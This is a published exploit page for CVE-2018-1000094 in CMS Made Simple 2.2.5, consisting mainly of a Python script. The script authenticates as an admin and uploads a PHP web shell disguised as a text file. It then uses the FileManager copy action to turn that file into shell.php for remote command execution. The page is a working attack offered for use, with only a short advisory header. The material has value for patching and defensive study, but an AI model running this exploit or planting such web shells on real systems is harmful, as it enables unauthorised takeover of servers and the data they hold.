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CMS Made Simple 2.2.5 Remote Code Execution

CMS Made Simple 2.2.5 Remote Code Execution
Posted Jul 4, 2018
Authored by Mustafa Hasan

CMS Made Simple version 2.2.5 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2018-1000094
MD5 | 72574b50537defd0efa90ab9f43cbc9f

CMS Made Simple 2.2.5 Remote Code Execution

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# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution
# Date: 3rd of July, 2018
# Exploit Author: Mustafa Hasan (@strukt93)
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://www.cmsmadesimple.org/downloads/cmsms/
# Version: 2.2.5
# CVE: CVE-2018-1000094

import requests
import base64

base_url = "http://192.168.1.10/cmsms/admin"
upload_dir = "/uploads"
upload_url = base_url.split('/admin')[0] + upload_dir
username = "admin"
password = "password"

csrf_param = "__c"
txt_filename = 'cmsmsrce.txt'
php_filename = 'shell.php'
payload = "<?php system($_GET['cmd']);?>"

def parse_csrf_token(location):
return location.split(csrf_param + "=")[1]

def authenticate():
page = "/login.php"
url = base_url + page
data = {
"username": username,
"password": password,
"loginsubmit": "Submit"
}
response = requests.post(url, data=data, allow_redirects=False)
status_code = response.status_code
if status_code == 302:
print "[+] Authenticated successfully with the supplied credentials"
return response.cookies, parse_csrf_token(response.headers['Location'])
print "[-] Authentication failed"
return None, None

def upload_txt(cookies, csrf_token):
mact = "FileManager,m1_,upload,0"
page = "/moduleinterface.php"
url = base_url + page
data = {
"mact": mact,
csrf_param: csrf_token,
"disable_buffer": 1
}
txt = {
'm1_files[]': (txt_filename, payload)
}
print "[*] Attempting to upload {}...".format(txt_filename)
response = requests.post(url, data=data, files=txt, cookies=cookies)
status_code = response.status_code
if status_code == 200:
print "[+] Successfully uploaded {}".format(txt_filename)
return True
print "[-] An error occurred while uploading {}".format(txt_filename)
return None

def copy_to_php(cookies, csrf_token):
mact = "FileManager,m1_,fileaction,0"
page = "/moduleinterface.php"
url = base_url + page
b64 = base64.b64encode(txt_filename)
serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64)
data = {
"mact": mact,
csrf_param: csrf_token,
"m1_fileactioncopy": "",
"m1_path": upload_dir,
"m1_selall": serialized,
"m1_destdir": "/",
"m1_destname": php_filename,
"m1_submit": "Copy"
}
print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename)
response = requests.post(url, data=data, cookies=cookies, allow_redirects=False)
status_code = response.status_code
if status_code == 302:
if response.headers['Location'].endswith('copysuccess'):
print "[+] File copied successfully"
return True
print "[-] An error occurred while copying, maybe {} already exists".format(php_filename)
return None

def quit():
print "[-] Exploit failed"
exit()

def run():
cookies,csrf_token = authenticate()
if not cookies:
quit()
if not upload_txt(cookies, csrf_token):
quit()
if not copy_to_php(cookies, csrf_token):
quit()
print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename)

run()

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